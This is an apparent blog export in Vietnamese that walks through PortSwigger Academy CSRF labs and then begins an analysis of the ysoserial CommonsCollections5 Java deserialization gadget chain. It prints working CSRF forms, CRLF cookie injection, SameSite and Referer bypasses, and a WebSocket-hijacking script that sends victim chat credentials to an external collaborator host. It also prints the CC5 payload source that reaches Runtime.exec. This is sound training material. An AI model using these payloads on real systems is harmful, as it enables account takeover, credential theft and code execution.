\u0026#39;/\u0026#39;);\u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;https://0a4900800301408c80a4764300ae0048.web-security-academy.net/my-account/change-email\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;email\u0026#34; value=\u0026#34;attacker@evil.com\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;csrf\u0026#34; value=\u0026#34;Ilz8s2nL5dWzDPrAL1BnE1ajXodlMRXr\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit request\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;img src=\u0026#34;https://0a4900800301408c80a4764300ae0048.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=JrfQnHRIFju4I8OnsQ9jXaodFOnPIvWX%3b%20SameSite=None\u0026#34; onerror=\u0026#34;document.forms[0].submit()\u0026#34;\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Payload nó sẽ như thế này.\nThành công pass lab.\nLab: CSRF where token is duplicated in cookie This lab\u0026#39;s email change functionality is vulnerable to CSRF. It attempts to use the insecure \u0026#34;double submit\u0026#34; CSRF prevention technique. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer\u0026#39;s email address. You can log in to your own account using the following credentials: wiener:peter Lại vẫn là chức năng update email đó bây giờ ta sẽ test thử với trường csrf xem có tương tác gì với nó được không.\nLúc đầu thử đổi sang abc123 nhưng nó báo invalid sau đó mình đổi thêm ở bên dưới thì kết quả thì nó lại trả 302 khá ảo có vẻ nó bị duplicate rồi như đề bài nói.\nỞ đây ta có chức năng search chắc lấy lại payload cũ test thử.\nNgon lành rồi ta nhét thử csrf tự chế vào mà nó vẫn inject vào oke bây giờ ta sẽ lấy payload cũ của bài trước rồi sửa chút để exploit.\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt;history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;/\u0026#39;);\u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;https://0a9d00c904e3730980189ad600830017.web-security-academy.net/my-account/change-email\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;email\u0026#34; value=\u0026#34;attacker@evil.com\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;csrf\u0026#34; value=\u0026#34;abc123\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;img src=\u0026#34;https://0a9d00c904e3730980189ad600830017.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=abc123%3b%20SameSite=None\u0026#34; onerror=\u0026#34;document.forms[0].submit();\u0026#34;\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Thành công khai thác lab này.\nLab: SameSite Lax bypass via method override Vào thẳng request luôn thì ta thấy rằng các trường csrf đã bị xoá hết có vẻ như không có gì để lợi dụng ngoài cái cookie session được cấp ở đây.\nỞ đây có hint là về SameSite tham khảo ở đây https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions.\nGiải thích nôm na thì :\nCookie là một đoạn dữ liệu nhỏ mà website lưu vào trình duyệt của bạn, thường dùng để giữ trạng thái đăng nhập. Tuy nhiên, nếu trình duyệt tự động gửi cookie khi bạn truy cập từ một trang web khác, thì hacker có thể lợi dụng điều này để thực hiện tấn công CSRF. Để ngăn chặn điều đó, trình duyệt có thêm thuộc tính SameSite khi website đặt cookie. Ở đây khi nhìn vào request response ta không hề thấy thuộc tính SameSite=Strict thì có lẽ mình có thể bypass được SameSite này vì có vẻ như nó xài LAX.\nỞ đây ta sẽ tiến hành thay đổi method thành GET thì kết quả trả về rằng nó chỉ allow mỗi POST thôi có vẻ đó là lớp bảo vệ của SameSite, bây giờ ta sẽ thử vài trick để bypass nó.\nỞ đây ta sử dụng cách Overiding method thì thành công bypass được lớp filter đó vậy là ta hoàn toàn có thể từ đây lợi đụng để tạo payload cho exploit server.\n\u0026lt;html\u0026gt; \u0026lt;!-- CSRF PoC - generated by Burp Suite Professional --\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt;history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;/\u0026#39;);\u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;https://0a6800e303a7b0b4807c6735003e0042.web-security-academy.net/my-account/change-email\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;email\u0026#34; value=\u0026#34;moimoimoi\u0026amp;#64;hacker\u0026amp;#46;com\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;\u0026amp;#95;method\u0026#34; value=\u0026#34;POST\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit request\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.location = \u0026#34;https://0a6800e303a7b0b4807c6735003e0042.web-security-academy.net/my-account/change-email?email=aloaloalo@phatmai.net\u0026amp;_method=POST\u0026#34;; \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Giải thích cơ chế :\nThực hiện một cuộc tấn công CSRF để thay đổi địa chỉ email của nạn nhân trên website mục tiêu, bằng cách lợi dụng việc trình duyệt Chrome vẫn gửi cookie trong các yêu cầu GET có điều hướng cấp cao (top-level navigation), ngay cả khi cookie có thuộc tính SameSite=Lax. Thành công solve lab này.\nLab: SameSite Strict bypass via client-side redirect This lab\u0026#39;s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim\u0026#39;s email address. You should use the provided exploit server to host your attack. You can log in to your own account using the following credentials: wiener:peter Như tiều đề ta đã đọc có vẻ như nó vẫn xài SameSite để bảo vệ và lần này thì nó xài đến Strict nên ta sẽ tìm cách bypass với thuộc tính là SameSite:Strict.\nSau khi login thì ta có thể thấy luôn dòng Secure; HttpOnly; SameSite=Strict khẳng định nó đã áp dụng vào đây bây giờ ta sẽ tìm hiểu các request tiếp theo vì ở đây ta biết rằng là Strict sẽ chặn hết tất cả các request cùng chung 1 site.\nNhìn vào request update email có vẻ như chẳng có cái gì được mỗi cái cookie session nhưng ở site này nó đã dùng Same-Site: Strict nên cách tấn công của lab trước không còn khả thi nữa. Nên ta sẽ phải tìm một nơi mà payload cookie của mình được redirect đi ta phải tìm cái gadget.\nỞ đây ta phát hiện rằng nó có chức năng post comment lên một bài viết nào đó, ý tưởng ở đây là :\nKhi bạn bình luận vào bài viết, bạn được chuyển đến /post/comment/confirmation?postId=x.\nSau vài giây, JavaScript sẽ redirect đến /post/x.\nNếu bạn chỉnh postId=1/../../my-account, thì redirect sẽ đến /my-account\nĐây là cách để lợi dụng client-side redirect từ trong chính domain nên không lo ăn filtet strict của same site\nTa thử inject đoạn string nào đó sau đó thực hiện path traversal để redirect về /my-account ở đây ta có thể thấy nó trả về đoạn script là redirectOnConfirmation('/post'); nó đóng phần khẳng định rằng sau khi đường dẫn được chuẩn hoá thì nó sẽ được redirect về nơi mình mong muốn.\nRồi bây giờ dựa vào kết quả trên ta sẽ tạo payload như những lab trước.\n\u0026lt;script\u0026gt; document.location = \u0026#34;https://0ada005803ea228080fb62da00320029.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=hackerlord%40web-security-academy.net%26submit=1\u0026#34;; \u0026lt;/script\u0026gt; Sau đó ta tạo payload CSRF thay từ request thay đổi email bằng generate csrf POC.\n\u0026lt;html\u0026gt; \u0026lt;!-- CSRF PoC - generated by Burp Suite Professional --\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt;history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;/\u0026#39;);\u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;https://0ada005803ea228080fb62da00320029.web-security-academy.net/my-account/change-email\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;email\u0026#34; value=\u0026#34;phat\u0026amp;#64;hacker\u0026amp;#46;com\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;submit\u0026#34; value=\u0026#34;1\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit request\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.location = \u0026#34;https://0ada005803ea228080fb62da00320029.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=hackerlord%40web-security-academy.net%26submit=1\u0026#34;; \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Thành công solve lab này.\nLab: SameSite Strict bypass via sibling domain This lab\u0026#39;s live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim\u0026#39;s account. To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim\u0026#39;s chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text. If you haven\u0026#39;t done so already, we recommend completing our topic on WebSocket vulnerabilities before attempting this lab. Ở lab này ta có chức năng chat chít với websockets bây giờ ta thử chat vài câu xem nó sẽ ra request như thế nào.\nSau khi chat ta chạy sang đống websocket history và thấy rằng ở đây ta có một request ready để bắt đầu chat với live chat bây giờ đưa nó vào repeater và send nó thử xem kết quả ra sao.\nNó hiện ra những gì ta đã nhắn với nó ở đây mình trash talk với cái này khá nhiều :v\nTa để ý với request khi gọi đến chat ta có trường Switching Protocol cùng với đó là websocket và chức năng chat này có bị dính CSRF vì ngoài ra nó còn có thêm cả key.\nBên cạnh đó ta còn tìm thấy được URL của chat form của lab đó là https://0a0d004904e114468051037300ff00aa.web-security-academy.net/chat ngoài ra ở bên dưới ta còn có cả resouces/js/chat.js\nTruy cập vào ta thấy ở đây có một cái Event Handler newSocket.\nNgoài ra đây còn có cả nơi để handle message, ta hoàn toàn có thể lợi dụng cái này để exfiltrate đến endpoit mà ta điều khiển nên ta sẽ lấy đoạn code đó về để tạo payload thử.\n\u0026lt;script\u0026gt; var ws = new WebSocket(\u0026#39;wss://0a0d004904e114468051037300ff00aa.web-security-academy.net/chat\u0026#39;); ws.onopen = function() { ws.send(\u0026#34;READY\u0026#34;); }; ws.onmessage = function(event) { fetch(\u0026#39;https://d9nxjng7bthxpmcwzcspvjxr2i89wzko.oastify.com\u0026#39;, {method: \u0026#39;POST\u0026#39;, mode: \u0026#39;no-cors\u0026#39;, body: event.data}); }; \u0026lt;/script\u0026gt; Với payload này ta gửi thử cho exploit server xem thử liệu nó có nhận được ready chat không.\nVậy là ta xác thực được rằng bên phía server nhận được lệnh ready để tạo con chatbot session rồi.\nỞ đây ta tìm thấy một sibling web với web mà ta đang cố exploit bên cạnh đó nó còn có thuộc tính là Access-Control-Allow-Origin vậy thì 2 cái này không còn dính hạn chế của Same Site https://cms-0a0d004904e114468051037300ff00aa.web-security-academy.net ta sẽ truy cập web này xem có attack surface không.\nTruy cập vào ta thấy một trang login khá đơn giản bây giờ test thử xem có XSS không ta sẽ inject js vào username xem sao.\nOkay nó dính XSS thật và đây ta có một bug reflected XSS ta thấy rằng alert(1) đã được call lên bây giờ ta thử đổi method khác xem liệu nó còn thực thi được XSS không.\nTa sẽ tiến hành copy URL của request này và paste ra browser xem thử có còn reflect XSS không.\nVới GET method thì XSS vẫn hoạt động vậy là ta có nơi để exploit rồi bây giờ ta lợi dụng reflected XSS để nhét payload trước mình đã dùng để xem có phản ứng gì.\n\u0026lt;script\u0026gt; var ws = new WebSocket(\u0026#39;wss://0a0d004904e114468051037300ff00aa.web-security-academy.net/chat\u0026#39;); ws.onopen = function() { ws.send(\u0026#34;READY\u0026#34;); }; ws.onmessage = function(event) { fetch(\u0026#39;https://sa6ck2hmc8icq1db0rt4wyy63x9oxgl5.oastify.com\u0026#39;, {method: \u0026#39;POST\u0026#39;, mode: \u0026#39;no-cors\u0026#39;, body: event.data}); }; \u0026lt;/script\u0026gt; Tiến hành URL encode hết đống này để tránh lỗi sau đó ta tạo thêm một script để có thể inject đến domain sibling mà dính XSS.\n\u0026lt;script\u0026gt; document.location = \u0026#34;https://cms-0a0d004904e114468051037300ff00aa.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%30%64%30%30%34%39%30%34%65%31%31%34%34%36%38%30%35%31%30%33%37%33%30%30%66%66%30%30%61%61%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%73%61%36%63%6b%32%68%6d%63%38%69%63%71%31%64%62%30%72%74%34%77%79%79%36%33%78%39%6f%78%67%6c%35%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e\u0026amp;password=lmao\u0026#34;; \u0026lt;/script\u0026gt; Ném nó lên exploit server xem thử nó có gửi response về burp collab không.\nThành công bịp chat để lấy được username password của carlos.\nLogin vào là hoàn thành bài lab.\nLab: SameSite Lax bypass via cookie refresh This lab\u0026#39;s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim\u0026#39;s email address. You should use the provided exploit server to host your attack. The lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter Note The default SameSite restrictions differ between browsers. As the victim uses Chrome, we recommend also using Chrome (or Burp\u0026#39;s built-in Chromium browser) to test your exploit. Hint You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim. Browsers block popups from being opened unless they are triggered by a manual user interaction, such as a click. The victim user will click on any page you send them to, so you can create popups using a global event handler as follows: \u0026lt;script\u0026gt; window.onclick = () =\u0026gt; { window.open(\u0026#39;about:blank\u0026#39;) } \u0026lt;/script\u0026gt; Đến với lab này thì vẫn là chức năng update email bị lỗi bây giờ ta thử update bắt request xem có nhưng gì được xử lý.\nTa để ý rằng ở trong request thay đổi email này thì phần response đã khác với lab trước, ở đây request có nội dung này không chứa bất token không thể đoán trước nào, do đó có thể dễ bị tấn công bởi CSRF trong trường hợp ta có thể bypass bất kỳ hạn chế cookie SameSite nào.\nTa kiểm tra request call back của Oauth ở trường set-cookie ta thấy rằng không còn Same-Site: Strict nữa vậy nên ta có thể kết luận rằng nó sử dụng default của browser là LAX và LAX thì có cách để bypass được.\nBây giờ ta tạo một cái exploit để đổi email thử xem có hoạt động không.\n\u0026lt;script\u0026gt; history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;/\u0026#39;) \u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;https://0ae200dc040bb8cd816f2022002a00ea.web-security-academy.net/my-account/change-email\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;email\u0026#34; value=\u0026#34;phatmai@hack.com\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit request\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.forms[0].submit(); \u0026lt;/script\u0026gt; Thành công solve lab, tại exploit ta sẽ phải gửi 2 lần lý do là vì SameSite default có lỗ hổng ở chrome browser khi đến bước SSO thì chrome sẽ không kiểm tra cookie trong 120 giây trong khoảng thời gian đó ta lợi dụng được fresh cookie gửi đi payload và khi victim ấn vào thì nó sẽ tiến hành đổi email ở phía server.\nLab: CSRF where Referer validation depends on header being present This lab\u0026#39;s email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer\u0026#39;s email address. You can log in to your own account using the following credentials: wiener:peter Hint You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim. Ta vẫn có chức năng update email như cũ bây giờ ta tiến hành update và lấy request của nó để phân tích.\nTa để ý rằng ở đây không hề có token csrf nên dễ bị tấn công, Server cố gắng chống CSRF bằng cách kiểm tra Referer header:\nNếu Referer khác domain → từ chối.\nNhưng nếu không có Referer header → lại chấp nhận (fallback insecure).\nTa sẽ thử sửa cái domain ở trường Referer để xem kết quả nó có đúng như ta nghĩ không.\nRồi ăn chửi rồi, bây giờ nếu ta xoá luôn nó đi thì sẽ như thế nào.\nResponse thành công trả về 302, nó chấp nhận request của ta mặc dù không còn trường Referer nữa. Điều này chứng minh: cơ chế phòng thủ chỉ kiểm tra khi header tồn tại, còn nếu không có thì bỏ qua.\nBây giờ dựa vào đó ta sẽ tạo một payload Suppress Referer bằng HTML meta tag.\n\u0026lt;meta name=\u0026#34;referrer\u0026#34; content=\u0026#34;no-referrer\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;referrer\u0026#34; content=\u0026#34;no-referrer\u0026#34;\u0026gt; \u0026lt;form action=\u0026#34;https://0a7600bd04925cac806c5394009300d1.web-security-academy.net/my-account/change-email\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;email\u0026#34; value=\u0026#34;phatmaiii@evil.com\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.forms[0].submit(); \u0026lt;/script\u0026gt; Store payload và gửi nó đến cho victim khi victim bấm vào request đổi email sẽ được thực thi đến server.\nThành công solve lab này.\nLab: CSRF with broken Referer validation Đây là lab cuối cùng của CSRF.\nThis lab\u0026#39;s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer\u0026#39;s email address. You can log in to your own account using the following credentials: wiener:peter Hint You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim. Ta vẫn sẽ có chức năng update email như bao lab trước bây giờ như cũ ta vẫn sẽ lấy request update email để phân tích và tìm cách để tạo payload.\nOk ở đây ta có kịch bản khá là giống bài lab trước bây giờ ta sẽ thử xoá luôn trường Referer xem kết quả ra sao.\nOk ăn chửi rồi thế với trường hợp ta thử sửa domain trong trường referer thì sao?\nHmm khi ta sửa vớ vẩn thì cũng bị dính lỗi, ở đây ta để ý rằng request hợp lệ khi nó là một domain vậy câu hỏi ở đây là nếu ta thử vứt vào một đường dẫn là domain fake thì sao ta?\nỒ vậy là tuy đã fix được lỗi trước nhưng ở đây có vẻ anh dev đã không validate lại đoạn domain nên nếu ta bỏ vào domain nào thì nó cũng cho là hợp lệ và cho phép thực thi được update email, ở đây tôi sửa nó thành Referer: https://testdomain.net?0a5400f903eb547480aa17e7006900ad.web-security-academy.net/my-account?id=wiener và bypass được filter.\nBây giờ dựa vào tình huống trên ta sẽ tạo exploit code.\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta name=\u0026#34;referrer\u0026#34; content=\u0026#34;unsafe-url\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; history.pushState(\u0026#34;\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;/?0a5400f903eb547480aa17e7006900ad.web-security-academy.net\u0026#34;) \u0026lt;/script\u0026gt; \u0026lt;form action=\u0026#34;https://0a5400f903eb547480aa17e7006900ad.web-security-academy.net/my-account/change-email\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;email\u0026#34; value=\u0026#34;phathacker@evil.com\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt; document.forms[0].submit(); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Thành công solve lab này là cũng là lab cuối cùng kết thúc chuỗi challenge CSRF.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-14-csrf-portswigger-challenge/","summary":"\u003ch1 id=\"portswigger-csrf-challenge-writeup\"\u003ePortSwigger CSRF Challenge WriteUp\u003c/h1\u003e\n\u003ch3 id=\"giới-thiệu-về-csrf-cross-site-request-forgery\"\u003eGiới thiệu về CSRF (Cross-Site Request Forgery)\u003c/h3\u003e\n\u003ch4 id=\"lỗ-hổng-csrf-là-gì-\"\u003eLỗ hổng CSRF là gì :\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eCross-Site Request Forgery hay còn gọi theo tiếng việt là giả mạo yêu cầu trên nhiều trang, là một lỗ hổng bảo mật cho phép attacker lừa người dùng đã được xác thực (đã đăng nhập) thực hiện các hành động không mong muốn trên 1 ứng dụng Web.\u003c/li\u003e\n\u003cli\u003eNói đơn giản thì attacker sẽ mượn danh tính và session của một victim để gửi đi một yêu cầu giả mạo đến ứng dụng mà victim không hề hay biết. Nếu ứng dụng dễ bị tấn công, nó sẽ không thể phân biệt được đâu là yêu cầu giả mạo đâu là yêu cầu hợp lệ của victim (User).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"csrf-hoạt-động-như-thế-nào-\"\u003eCSRF hoạt động như thế nào :\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eĐể thực hiện tấn công CSRF cần có 3 điều kiện bao gồm :\n\u003cul\u003e\n\u003cli\u003eHành động quan trọng : Ứng dụng phải có một function (hành động, action) mà attacker muốn thực hiện ví dụ như là đổi mật khẩu, đổi username, đổi email, chuyển tiền,…. Nói chung nó có lợi có attacker là tương hết hay còn gọi là attack surface ngon, nhiều.\u003c/li\u003e\n\u003cli\u003eXử lý request dựa trên cookie, session : Application phải chỉ dựa vào cookie của trình duyệt để xác định người dùng đang gửi yêu cầu. Không có cơ chế nào xác minh request.\u003c/li\u003e\n\u003cli\u003eKhông có tham số không thể đoán trước : Các tham số trong yêu cầu thực hiện hành động phải là những giá trị mà attacker có thể đoán trược hoặc là biết trước.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"tại-sao-lỗ-hổng-này-tồn-tại-\"\u003eTại sao lỗ hổng này tồn tại :\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eLỗ hổng CSRF tồn tại do sự tin tưởng của ứng dụng web vào các cookie mà trình duyệt tự động gửi kèm theo mỗi yêu cầu. Ứng dụng chỉ kiểm tra \u0026ldquo;ai\u0026rdquo; đang gửi yêu cầu (dựa trên cookie session) mà không kiểm tra \u0026ldquo;ý định\u0026rdquo; của người dùng có thực sự muốn thực hiện hành động đó hay không.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/ByFpDfMx-x.png\"\u003e\u003c/p\u003e","title":"PortSwigger CSRF Challenge WriteUps"},{"content":"Ysoserial Commons Collections 5 Analyst Tổng quan CommonsCollections 5 trong Ysoserial CommonsCollections là một trong những gadget chain nổi tiếng nhất trong các cuộc tấn công khai thác Java deserialization không an toàn, đặc biệt khi ứng dụng sử dụng thư viện Apache Commons Collections.\nTrong bài viết này, chúng ta sẽ tập trung vào CommonsCollections5 (CC5) — một trong các chain được tích hợp sẵn trong công cụ ysoserial . Mình chọn phân tích CC5 vì đây là chain được nhiều người đề xuất để học do tính minh bạch và dễ debug.\nThiết lập môi trường Mở dự án ysoserial trong IntelliJ IDEA (hoặc IDE tương đương). Yêu cầu:\nJDK 8 Thư viện commons-collections:3.1 Mở Ysoserial project sau khi tải từ github link ở đây:\nhttps://github.com/frohoff/ysoserial\nỞ đây mình sử dụng IntelliJ để tiến hành test và debug.\nKhi vừa mở lên thì ta có thể thấy được GadgetChain được giới thiệu sẵn ở đây và kèm với đó là điều kiện để có thể chạy được để nó gen ra payload ở đây ta sẽ dùng JDK 8.\nPayload package ysoserial.payloads; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; import javax.management.BadAttributeValueExpException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @SuppressWarnings({\u0026#34;rawtypes\u0026#34;, \u0026#34;unchecked\u0026#34;}) @PayloadTest ( precondition = \u0026#34;isApplicableJavaVersion\u0026#34;) @Dependencies({\u0026#34;commons-collections:commons-collections:3.1\u0026#34;}) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) public class CommonsCollections5 extends PayloadRunner implements ObjectPayload\u0026lt;BadAttributeValueExpException\u0026gt; { public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\u0026#34;getMethod\u0026#34;, new Class[] { String.class, Class[].class }, new Object[] { \u0026#34;getRuntime\u0026#34;, new Class[0] }), new InvokerTransformer(\u0026#34;invoke\u0026#34;, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\u0026#34;exec\u0026#34;, new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, \u0026#34;foo\u0026#34;); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField(\u0026#34;val\u0026#34;); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, \u0026#34;iTransformers\u0026#34;, transformers); // arm with actual transformer chain return val; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections5.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isBadAttrValExcReadObj(); } } Khi ta chạy được lệnh java -jar ysoserial.jar CommonsCollections5 \u0026quot;calc.exe\u0026quot; payload được tạo ra và khi victim deserializes nó, calc.exe sẽ được thực thi.\nVậy là ta chắc chắn rằng nó chạy được không vấn đề gì nên ta sẽ đi vào phân tích và debug gadget.\nPhân tích từng phần và Debug Theo như comment thì ta có đống gadget như sau :\nGadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() ObjectInputStream.readObject() thì không có gì để nói vì nó chỉ để thực hiện read object đã được serialize nên ta đi vào gadget luôn. Ta tới với gadget 1 \u0026ndash;\u0026gt; 2 :\nGadget 1:BadAttributeValueExpException.readObject() --\u0026gt; Gadget 2:TiedMapEntry.toString() BadAttributeValueExpException.readObject() \u0026ndash;\u0026gt; TiedMapEntry.toString() Class BadAttributeValueExpException (package javax.management) được thiết kế để ném exception khi giá trị thuộc tính JMX không hợp lệ. Tuy nhiên, phương thức readObject() của nó ghi đè phương thức mặc định và gọi .toString() trên trường val nếu:\nval != null val không phải là String Và một số điều kiện về SecurityManager hoặc kiểu dữ liệu Trong payload, ta gán val = new TiedMapEntry(lazyMap, \u0026quot;foo\u0026quot;) → không phải String → .toString() được gọi.\nĐây chính là điểm khởi phát của toàn bộ chuỗi!\nĐiều kiện để valObj được gọi lần lượt là :\nvalObj != null. valObj không phải String. HOẶC System.getSecurityManager() == null. HOẶC valObj là primitive wrapper (Long, Integer, etc.) Bây giờ ta sẽ đặt breakpoint ngay tại đoạn Object valObj = gf.get(\u0026quot;val\u0026quot;, null) và val = valObj.toString() và tiến hành debug từng bước xem nó sẽ gọi tới đâu.\nCó thể thấy rằng khi đặt breakpoint ở line 72 và thực thi thì valObj bây giờ là một object nằm bên trong TiedMapEntry.\nSau đó sau khi đi từ breakpoint ở dòng 86 thì valObj được gọi đến bên toString của class TiedMapEntry .\nTiedMapEntry() \u0026ndash;\u0026gt; LazyMap.get() Ta sẽ tiến hành tiếp tục phân tích gadget thứ 2 